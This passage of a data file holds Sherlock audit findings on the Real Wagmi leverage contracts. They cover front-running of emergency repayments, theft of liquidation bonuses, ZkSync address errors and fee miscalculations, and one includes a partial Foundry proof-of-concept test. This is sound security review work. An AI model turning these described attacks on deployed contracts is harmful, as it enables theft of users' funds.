Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532-L674\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L683-L703\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Constants.sol#L16\n## Tool used\n\nManual Review\n\n## Recommendation\nMake borrowers pay gas costs for liquidation.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//014-M/152.md"}} +{"title":"No Incentive to Liquidate Small Positions","severity":"medium","body":"Early Blush Yak\n\nhigh\n\n# No Incentive to Liquidate Small Positions\n## Summary\n\n`min_borrowed_amount` allows very small positions to be opened. The gas cost for liquidating these positions is lower than the profit incentive for liquidators.\n\n## Vulnerability Details\nThere is a check that enforces a minimum borrowed amount. However it does not scale according to token decimals or value. The `min_borrowed_amount`, which is not decimal scaled, is less than $1 for many tokens.\n\n```solidity\nuint256 public constant MINIMUM_BORROWED_AMOUNT = 100000;\n```\n\nThe reward for liquidating a position is proportional to its size. With a very small sizeThe gas costs for liquidating a position can exceed the benefit gained from a position take over or liquidation. Therefore this may force collectors of positions or cause bad debt which is passed on to other users.\n\n\n## Impact\n\nNo incentive to liquidate very small loans which leads to non-repayment and potential bad debt.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Constants.sol#L17C5-L17C62\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a gasFee to the liquidation reward to ensure that the total liquidation reward always exceeds the gas costs.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//014-M/089-best.md"}} +{"title":"attacker can front-running the lender calls when `isEmergency` is true","severity":"medium","body":"Rural Powder Rook\n\nmedium\n\n# attacker can front-running the lender calls when `isEmergency` is true\n## Summary\n\nThis report focuses on a vulnerability within a lending protocol where lenders can withdraw their liquidity through the `repay` function during emergency situations when the `isEmergency` flag is true. However, a lack of checks for the position owner, specifically whether the caller is the lender, may expose a critical security flaw.\n\n## Vulnerability Detail\n\nConsider a scenario where a lender intends to utilize the repay function to withdraw their assets:\n\n```solidity\n function repay(\n RepayParams calldata params,\n uint256 deadline\n ) external nonReentrant checkDeadline(deadline) {\n BorrowingInfo memory borrowing = borrowingsInfo[params.borrowingKey];\n // Check if the borrowing key is valid\n (borrowing.borrowedAmount == 0).revertError(ErrLib.ErrorCode.INVALID_BORROWING_KEY);\n\n bool zeroForSaleToken = borrowing.saleToken < borrowing.holdToken;\n uint256 liquidationBonus = borrowing.liquidationBonus;\n int256 collateralBalance;\n // Update token rate information and get holdTokenRateInfo storage reference\n (, TokenInfo storage holdTokenRateInfo) = _updateTokenRateInfo(\n borrowing.saleToken,\n borrowing.holdToken\n );\n {\n // Calculate collateral balance and validate caller\n uint256 accLoanRatePerSeconds = holdTokenRateInfo.accLoanRatePerSeconds;\n uint256 currentFees;\n (collateralBalance, currentFees) = _calculateCollateralBalance(\n borrowing.borrowedAmount,\n borrowing.accLoanRatePerSeconds,\n borrowing.dailyRateCollateralBalance,\n accLoanRatePerSeconds\n );\n\n (msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n\n // Calculate liquidation bonus and adjust fees owed\n\n if (\n collateralBalance > 0 &&\n (currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION >\n Constants.MINIMUM_AMOUNT\n ) {\n liquidationBonus +=\n uint256(collateralBalance) /\n Constants.COLLATERAL_BALANCE_PRECISION;\n } else {\n currentFees = borrowing.dailyRateCollateralBalance;\n }\n\n // Calculate platform fees and adjust fees owed\n borrowing.feesOwed += _pickUpPlatformFees(borrowing.holdToken, currentFees);\n }\n // Check if it's an emergency repayment\n //@audit no check if msg.sender is owner of the position !\n if (params.isEmergency) {\n (collateralBalance >= 0).revertError(ErrLib.ErrorCode.FORBIDDEN);\n (\n uint256 removedAmt,\n uint256 feesAmt,\n bool completeRepayment\n ) = _calculateEmergencyLoanClosure(\n zeroForSaleToken,\n params.borrowingKey,\n borrowing.feesOwed,\n borrowing.borrowedAmount\n );\n (removedAmt == 0).revertError(ErrLib.ErrorCode.LIQUIDITY_IS_ZERO);\n // prevent overspent\n // Subtract the removed amount and fees from borrowedAmount and feesOwed\n borrowing.borrowedAmount -= removedAmt;\n borrowing.feesOwed -= feesAmt;\n feesAmt /= Constants.COLLATERAL_BALANCE_PRECISION;\n // Deduct the removed amount from totalBorrowed\n holdTokenRateInfo.totalBorrowed -= removedAmt;\n // If loansInfoLength is 0, remove the borrowing key from storage and get the liquidation bonus\n if (completeRepayment) {\n LoanInfo[] memory empty;\n _removeKeysAndClearStorage(borrowing.borrower, params.borrowingKey, empty);\n feesAmt += liquidationBonus;\n } else {\n BorrowingInfo storage borrowingStorage = borrowingsInfo[params.borrowingKey];\n borrowingStorage.dailyRateCollateralBalance = 0;\n borrowingStorage.feesOwed = borrowing.feesOwed;\n borrowingStorage.borrowedAmount = borrowing.borrowedAmount;\n // Calculate the updated accLoanRatePerSeconds\n borrowingStorage.accLoanRatePerSeconds =\n holdTokenRateInfo.accLoanRatePerSeconds -\n FullMath.mulDiv(\n uint256(-collateralBalance),\n Constants.BP,\n borrowing.borrowedAmount // new amount\n );\n }\n }\n```\n\nIn the code snippet above, there is no validation to confirm whether the caller is the owner of the position when isEmergency is set to true. As a result, an attacker can exploit this by initiating a call to the repay function with isEmergency set to true, using the same parameters as the lender. The attacker can front-run the lender's transaction, gaining access to the `removedAmt + feesAmt` assets.\n\n## Impact\n\nThe impact of this vulnerability is severe, as an attacker can front-run a lender's transaction during emergency calls, effectively seizing the fees and the removed amount of assets\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L581-L626\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to implement checks to verify the ownership of the position when isEmergency is set to true. Alternatively, consider using a different technique, such as hashing the parameter values, to enhance the security of the process.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//013-M/169.md"}} +{"title":"Under the emergency liquidation state, malicious borrowers can retain the liquidationBonus","severity":"medium","body":"Festive Daffodil Grasshopper\n\nmedium\n\n# Under the emergency liquidation state, malicious borrowers can retain the liquidationBonus\n## Summary\n\nUnder the emergency liquidation state, if the current lenders liquidate the loan completely, who can receive a liquidationBonus.\nHowever, the borrower can frontrun to borrow an additional loan again, causing the current lender to be unable to obtain the bonus. The borrower can completely designate a loan to his other account to retain the bonus.\n\n## Vulnerability Detail\n\n```solidity\n // If loansInfoLength is 0, remove the borrowing key from storage and get the liquidation bonus\n if (completeRepayment) {\n LoanInfo[] memory empty;\n _removeKeysAndClearStorage(borrowing.borrower, params.borrowingKey, empty);\n feesAmt += liquidationBonus;\n } else {\n BorrowingInfo storage borrowingStorage = borrowingsInfo[params.borrowingKey];\n borrowingStorage.dailyRateCollateralBalance = 0;\n borrowingStorage.feesOwed = borrowing.feesOwed;\n borrowingStorage.borrowedAmount = borrowing.borrowedAmount;\n // Calculate the updated accLoanRatePerSeconds\n borrowingStorage.accLoanRatePerSeconds =\n holdTokenRateInfo.accLoanRatePerSeconds -\n FullMath.mulDiv(\n uint256(-collateralBalance),\n Constants.BP,\n borrowing.borrowedAmount // new amount\n );\n }\n```\n\nIt can be clearly seen from the code that the liquidationBonus will be issued only when completeRepayment is completed, which means that only the last lenderer can get the bonus.\nThe borrower can completely designate his own account as the lender to retain the bonus.\n\n## Impact\n\nThe lender's rewards may be retained maliciously, reducing user incentives.\n\n## Code Snippet\n\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L602C37-L605\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe liquidationBonus should be distributed to the lender in proportion","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//013-M/130-best.md"}} +{"title":"Liquidation bonus can be stolen through repay() as the fund is not returned to original borrower when a new borrower calls takeOverDebt()","severity":"medium","body":"Restless Ocean Chipmunk\n\nhigh\n\n# Liquidation bonus can be stolen through repay() as the fund is not returned to original borrower when a new borrower calls takeOverDebt()\n## Summary\n\nLiquidation bonus from the original borrower will not be returned when his borrowed position is being taken over. The new user can steal the liquidation bonus from the original borrower by taking over his debt and calling `repay()`.\n\n## Vulnerability Detail\n\nWhen a user borrows a position, he calls `borrow()`, and has to pay a small liquidationBonus (which is set at 0.69%). \n\n```solidity\n _pay(\n params.holdToken,\n msg.sender,\n VAULT_ADDRESS,\n borrowingCollateral + liquidationBonus + cache.dailyRateCollateral + feesDebt\n );\n```\n\nThis percentage is calculated against the total borrowed amount, so if the user borrows 10000 USDT, he has to pay 0.69% of 10000 which is 69 USDT.\n\nWhen another borrower calls `takeOverDebt()`, he tops up the collateralAmt and feesDebt but does not pay any liquidation bonus. The original borrower also does not get back his liquidation bonus.\n\n```solidity\n //newBorrowing.accLoanRatePerSeconds = oldBorrowing.accLoanRatePerSeconds;\n _pay(oldBorrowing.holdToken, msg.sender, VAULT_ADDRESS, collateralAmt + feesDebt);\n```\n\nWhen calling `repay()`, the function checks that the msg.sender == borrower. The `repay()` function will then transfer the liquidation bonus from the vault account to the LiquidityBorrowingManager contract. The funds will subsequently be transferred to the borrower.\n\n```solidity\n (msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n```\n\nA new borrower can take over an original borrower's position, and then call `repay()` to clear off his position. He will receive the liquidation bonus, effectively stealing it from the original borrower\n\n## Impact\n\nOld borrowers cannot receive their liquidation bonus back. The new borrower can steal the liquidation bonus by calling repay after taking over the borrowed position\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L447-L452\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRecommend repaying the original borrower his liquidation bonus back since his position is not liquidated, but rather taken over. The borrower who takes over the position should also take over the payment of liquidation bonus.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//013-M/057.md"}} +{"title":"`computePoolAddress()` will not work on ZkSync Era","severity":"medium","body":"Rough Pearl Wombat\n\nmedium\n\n# `computePoolAddress()` will not work on ZkSync Era\n## Summary\n\nWhen using the wagmi protocol, multiple swap can happen when borrowing or repaying a position. When the swap uses Uniswap v3 it checks that the callback is a pool by computing the address but the computation won't match on ZkSync Era.\n\n## Vulnerability Detail\n\nWhen borrowing or repaying a position a user can either use a custom router that was approved by the wagmi team to make the swaps required or can use Uniswap v3 as a fallback.\n\nWhen using the Uniswap v3 as a fallback the [`_v3SwapExactInput()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L204) internal function is being called. This function uses [`computePoolAddress()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L271) to find the pool address to use. [`computePoolAddress()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L271) is also used during the [`uniswapV3SwapCallback()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L242) to make sure the `msg.sender` is a valid pool.\n\nOn ZkSync Era the `create2` addresses are not computed the same way see [here](https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#address-derivation).\n\nThis will result in the swaps on Uniswapv3 to revert. If a user was able to open a position using a custom router but the custom router is removed later on by the team or if the liquidity was one sided so no swap happened. The borrower and liquidators could find themself not able to close the positions until a new router is whitelisted.\n\nThe borrower could be forced to pay collateral for a longer time as he won't be able to close his position.\n\n## Impact\n\nMedium. Unlikely to happen but would result in short-term DOS and more fees paid by the borrower.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L146\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L204\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L271\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider calling the Uniswap factory getter `getPool()` to get the address of the pool.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//012-M/104-best.md"}} +{"title":"Protocol is incompatible with ZkSync Era due to differences in address deviation","severity":"medium","body":"Ancient Malachite Jay\n\nmedium\n\n# Protocol is incompatible with ZkSync Era due to differences in address deviation\n## Summary\n\nZkSync utilizes a different prefix than most other EVM based chains. Instead of using \"ff\" it uses [zksynceCreate2](https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#address-derivation). This causes `computePoolAddress` to return incorrect pool addresses. Due to this the protocol will be broken when deployed there.\n\n## Vulnerability Detail\n\nSee summary\n\n## Impact\n\nContracts are nonfunctional on ZkSync\n\n## Code Snippet\n\n[ApproveSwapAndPay.sol#L271-L291](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L271-L291)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRewrite `computePoolAddress` account for this difference.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//012-M/085.md"}} +{"title":"Protocol is not usable & possible lock of funds on zksync because of wrong address computation","severity":"medium","body":"Precise Ceramic Donkey\n\nmedium\n\n# Protocol is not usable & possible lock of funds on zksync because of wrong address computation\n## Summary\n\nThe Wagmi Leverage Protocol is supposed to be deployed on many chains, including the zksync Era chain. \nOn multiple occurences the address of the UniswapV3 pool to use is computed by using the deterministic way the `create2` opcode for EVM works, which is different for zkSync ERA.\n\nThis results in the protocol not being correctly usable and the possibility for funds to be locked.\n\n## Vulnerability Detail\n\nThe contracts interact with UniswapV3 pools several times. The address of the pool is always computed by the contract using the `UNDERLYING_V3_POOL_INIT_CODE_HASH` the `UNDERLYING_V3_FACTORY_ADDRESS` and the `salt` which is the hash of the tokens and the fee.\n\nThis works, as the UniswapV3 pools are created by the Factory using the `create2` opcode, which gives us an deterministic address based on these parameters. ([see here](https://docs.soliditylang.org/en/latest/control-structures.html#salted-contract-creations-create2)\n\nHowever, the address derivation works different on the zkSync Era chain, as they are stating in their [docs](https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#address-derivation).\n\n```javascript\nexport function create2Address(sender: Address, bytecodeHash: BytesLike, salt: BytesLike, input: BytesLike) {\n const prefix = ethers.utils.keccak256(ethers.utils.toUtf8Bytes(\"zksyncCreate2\"));\n const inputHash = ethers.utils.keccak256(input);\n const addressBytes = ethers.utils.keccak256(ethers.utils.concat([prefix, ethers.utils.zeroPad(sender, 32), salt, bytecodeHash, inputHash])).slice(26);\n return ethers.utils.getAddress(addressBytes);\n}\n```\n\nThis will result in the computed address inside the contract to be wrong, which make any calls to these going to be reverted, or giving unexpected results.\n\nAs there is a possibility for the `borrow` function to go work fine, as the computed address will not be used, there is a potential for getting funds into the Vault. However, these would be locked forever, as every possible code path of the `repay` function is relying on the computed address of the UniswapV3 pool. \n\n## Impact\n\n- Protocol is not usable on zkSync Era network\n- Funds could be locked.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L211-L213C16\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L271C4-L291C6\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAs zkEVM differs in some points from the EVM, i would consider writing a slightly adjusted version of the contract for zkEVM, in regards to the differences mentioned in their [docs](https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html)","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//012-M/025.md"}} +{"title":"`MINIMUM_AMOUNT` will result in higher rate for tokens with low decimals","severity":"medium","body":"Rough Pearl Wombat\n\nmedium\n\n# `MINIMUM_AMOUNT` will result in higher rate for tokens with low decimals\n## Summary\n\nThe WAGMI contract has a `MINIMUM_AMOUNT` constant that is used to define minimum on certain amounts in different functions.\n\nIt is currently `1000` which will result in higher value than expected for tokens will low decimals like GUSD (2 decimals).\n\n## Vulnerability Detail\n\nThe [`borrow()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465) function will charge a minimum of `dailyRateCollateral` of `MINIMUM_AMOUNT`. This means that if we were to send the `MINIMUM_BORROWED_AMOUNT` which is `100000`.\n\nWe would result in 1000 / 100000 * 100 = 1.\n1% of the borrowed amount would be charged as collateral, in the case of GUSD which has 2 decimals it would mean that a loan of 1000 GUSD would make us pay 1% even if the real rate is smaller.\n\nThe [`getLiquidationBonus()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L683C6-L683C6) function will also charge us a minimum of `MINIMUM_AMOUNT` even if real rate is smaller.\n\nAnd if we were to close our position using [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) we wouldn't get back the collateral balance if the fees charged is less than `MINIMUM_AMOUNT`.\n\n## Impact\n\nMedium. When using protocol with low decimals tokens like GUSD, unexpected fees and losses can arise.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L683C6-L683C6\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider computing `MINIMUM_AMOUNT` and `MINIMUM_BORROWED_AMOUNT` with the token's decimals.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//011-M/181-best.md"}} +{"title":"[H-01] Particularly high value of MINIMUM_BORROWED_AMOUNT can make the protocol unusable.","severity":"medium","body":"Calm Arctic Tiger\n\nhigh\n\n# [H-01] Particularly high value of MINIMUM_BORROWED_AMOUNT can make the protocol unusable.\n## Summary\n\nThe high value of `MINIMUM_BORROWED_AMOUNT` in [Constants.sol](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Constants.sol) can make the protocol unusable for most pools where `SaleToken` is a 'lower' valued token than `HoldToken`.\n\n## Vulnerability Detail\n\nThere is a check in [LiquidityManager.sol](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol) that checks if the `borrowedAmount` is greater than the constant `MINIMUM_BORROWED_AMOUNT = 100000`. Else it reverts. This is particularly tricky when the `SaleToken` is a 'lower' valued token than `HoldToken`.\n\n\n## Impact\n\nLets take an example of a standard pool of WBTC/WETH, when WETH is the saleToken and WBTC is the holdToken, the user has to provide absurd amounts of liquidity to interact with the protocol.\n\nHere is an end-end coded PoC that shows how 'large' amount of Liquidity we have to provide.\n\n1. Create a Makefile and get a recent block number and MAINNET_RPC in your .env file.\n\n```Makefile\ninclude .env\n\ntest_func:\n\t@forge test --fork-url ${MAINNET_RPC} --fork-block-number ${MAINNET_BLOCK} -vvvv --ffi --mt ${P}\n```\n2. Now paste this into your directory and run make test_func P=test_Borrow\n```solidity\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\nimport \"forge-std/Test.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport { IUniswapV3Pool } from \"@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol\";\nimport { LiquidityBorrowingManager } from \"contracts/LiquidityBorrowingManager.sol\";\nimport { AggregatorMock } from \"contracts/mock/AggregatorMock.sol\";\nimport { HelperContract } from \"../testsHelpers/HelperContract.sol\";\nimport { INonfungiblePositionManager } from \"contracts/interfaces/INonfungiblePositionManager.sol\";\n\nimport {ApproveSwapAndPay} from \"contracts/abstract/ApproveSwapAndPay.sol\";\n\nimport {LiquidityManager} from \"contracts/abstract/LiquidityManager.sol\";\n\nimport {TickMath} from \"../../contracts/vendor0.8/uniswap/TickMath.sol\";\n\nimport {console} from \"forge-std/console.sol\";\n\ncontract ContractTest is Test, HelperContract {\n IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IUniswapV3Pool WBTC_WETH_500_POOL = IUniswapV3Pool(0x4585FE77225b41b697C938B018E2Ac67Ac5a20c0);\n IUniswapV3Pool WETH_USDT_500_POOL = IUniswapV3Pool(0x11b815efB8f581194ae79006d24E0d814B7697F6);\n address constant NONFUNGIBLE_POSITION_MANAGER_ADDRESS =\n 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; /// Mainnet, Goerli, Arbitrum, Optimism, Polygon\n address constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; /// Mainnet, Goerli, Arbitrum, Optimism, Polygon\n address constant UNISWAP_V3_QUOTER_V2 = 0x61fFE014bA17989E743c5F6cB21bF9697530B21e;\n bytes32 constant UNISWAP_V3_POOL_INIT_CODE_HASH =\n 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// Mainnet, Goerli, Arbitrum, Optimism, Polygon\n address constant alice = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;\n address constant bob = 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC;\n AggregatorMock aggregatorMock;\n LiquidityBorrowingManager borrowingManager;\n\n uint256 tokenId;\n\n uint256 deadline = block.timestamp + 15;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_329_500);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(WBTC_WETH_500_POOL), \"WBTC_WETH_500_POOL\");\n vm.label(address(WETH_USDT_500_POOL), \"WETH_USDT_500_POOL\");\n vm.label(address(this), \"ContractTest\");\n aggregatorMock = new AggregatorMock(UNISWAP_V3_QUOTER_V2);\n borrowingManager = new LiquidityBorrowingManager(\n NONFUNGIBLE_POSITION_MANAGER_ADDRESS,\n UNISWAP_V3_QUOTER_V2,\n UNISWAP_V3_FACTORY,\n UNISWAP_V3_POOL_INIT_CODE_HASH\n );\n vm.label(address(borrowingManager), \"LiquidityBorrowingManager\");\n vm.label(address(aggregatorMock), \"AggregatorMock\");\n deal(address(USDT), address(this), 1000000000e6);\n deal(address(WBTC), address(this), 10e8);\n deal(address(WETH), address(this), 100e18);\n deal(address(USDT), alice, 1000000000000000000000000e6);\n deal(address(WBTC), alice, 1000e8);\n deal(address(WETH), alice, 100000000000000000e18);\n\n deal(address(USDT), bob, 1000000000e6);\n deal(address(WBTC), bob, 1000e8);\n deal(address(WETH), bob, 10000e18);\n //deal eth to alice\n deal(alice, 10000 ether);\n deal(bob, 1000 ether);\n\n // deal(address(USDT), address(borrowingManager), 1000000000e6);\n // deal(address(WBTC), address(borrowingManager), 10e8);\n // deal(address(WETH), address(borrowingManager), 100e18);\n\n \n\n _maxApproveIfNecessary(address(WBTC), address(borrowingManager), type(uint256).max);\n _maxApproveIfNecessary(address(WETH), address(borrowingManager), type(uint256).max);\n _maxApproveIfNecessary(address(USDT), address(borrowingManager), type(uint256).max);\n\n vm.startPrank(alice);\n _maxApproveIfNecessary(address(WBTC), address(borrowingManager), type(uint256).max);\n // _maxApproveIfNecessary(address(WETH), address(borrowingManager), type(uint256).max);\n IERC20(address(WETH)).approve(address(borrowingManager), type(uint256).max);\n IERC20(address(WBTC)).approve(address(borrowingManager), type(uint256).max);\n IERC20(address(WETH)).approve(address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max);\n IERC20(address(WBTC)).approve(address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max);\n _maxApproveIfNecessary(address(USDT), address(borrowingManager), type(uint256).max);\n _maxApproveIfNecessary(address(WBTC), address(this), type(uint256).max);\n _maxApproveIfNecessary(address(WETH), address(this), type(uint256).max);\n _maxApproveIfNecessary(address(USDT), address(this), type(uint256).max);\n\n // _maxApproveIfNecessary(\n // address(WBTC),\n // NONFUNGIBLE_POSITION_MANAGER_ADDRESS,\n // type(uint256).max\n // );\n // _maxApproveIfNecessary(\n // address(WETH),\n // NONFUNGIBLE_POSITION_MANAGER_ADDRESS,\n // type(uint256).max\n // );\n _maxApproveIfNecessary(\n address(USDT),\n NONFUNGIBLE_POSITION_MANAGER_ADDRESS,\n type(uint256).max\n );\n\n ( tokenId,,,)= mintPositionAndApprove();\n vm.stopPrank();\n\n vm.startPrank(bob);\n IERC20(address(WETH)).approve(address(borrowingManager), type(uint256).max);\n vm.stopPrank();\n\n vm.startPrank(address(borrowingManager));\n IERC20(address(WETH)).approve(address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max);\n IERC20(address(WBTC)).approve(address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max);\n vm.stopPrank();\n }\n\n function test_SetUpState() public {\n assertEq(WBTC_WETH_500_POOL.token0(), address(WBTC));\n assertEq(WBTC_WETH_500_POOL.token1(), address(WETH));\n assertEq(WETH_USDT_500_POOL.token0(), address(WETH));\n assertEq(WETH_USDT_500_POOL.token1(), address(USDT));\n assertEq(USDT.balanceOf(address(this)), 1000000000e6);\n assertEq(WBTC.balanceOf(address(this)), 10e8);\n assertEq(WETH.balanceOf(address(this)), 100e18);\n assertEq(borrowingManager.owner(), address(this));\n assertEq(borrowingManager.dailyRateOperator(), address(this));\n assertEq(\n borrowingManager.computePoolAddress(address(USDT), address(WETH), 500),\n address(WETH_USDT_500_POOL)\n );\n assertEq(\n borrowingManager.computePoolAddress(address(WBTC), address(WETH), 500),\n address(WBTC_WETH_500_POOL)\n );\n assertEq(\n address(borrowingManager.underlyingPositionManager()),\n NONFUNGIBLE_POSITION_MANAGER_ADDRESS\n );\n }\n \n\n\n LiquidityManager.LoanInfo[] loans;\n function createBorrowParams(uint256 _tokenId)public returns(LiquidityBorrowingManager.BorrowParams memory borrow ){\n bytes memory swapData = \"\";\n\n LiquidityManager.LoanInfo memory loanInfo = LiquidityManager.LoanInfo({\n liquidity: 10000e7,\n tokenId: _tokenId //5500 = 1319241402 500 = 119931036 10 = 2398620\n });\n\n loans.push(loanInfo);\n\n LiquidityManager.LoanInfo[] memory loanInfoArrayMemory = loans;\n \n borrow = LiquidityBorrowingManager.BorrowParams({\n internalSwapPoolfee: 500,\n saleToken: address(WETH), //token1 - WETH\n holdToken: address(WBTC), //token0 - WBTC \n minHoldTokenOut: 1,\n maxCollateral: 10e8,\n externalSwap: ApproveSwapAndPay.SwapParams({\n swapTarget: address(0),\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData\n }),\n loans: loanInfoArrayMemory\n });\n\n\n }\n\n\n\n function mintPositionAndApprove()public returns (uint256 _tokenId, uint128 liquidity, uint256 amount0, uint256 amount1){\n \n INonfungiblePositionManager.MintParams memory mintParams = INonfungiblePositionManager.MintParams({\n 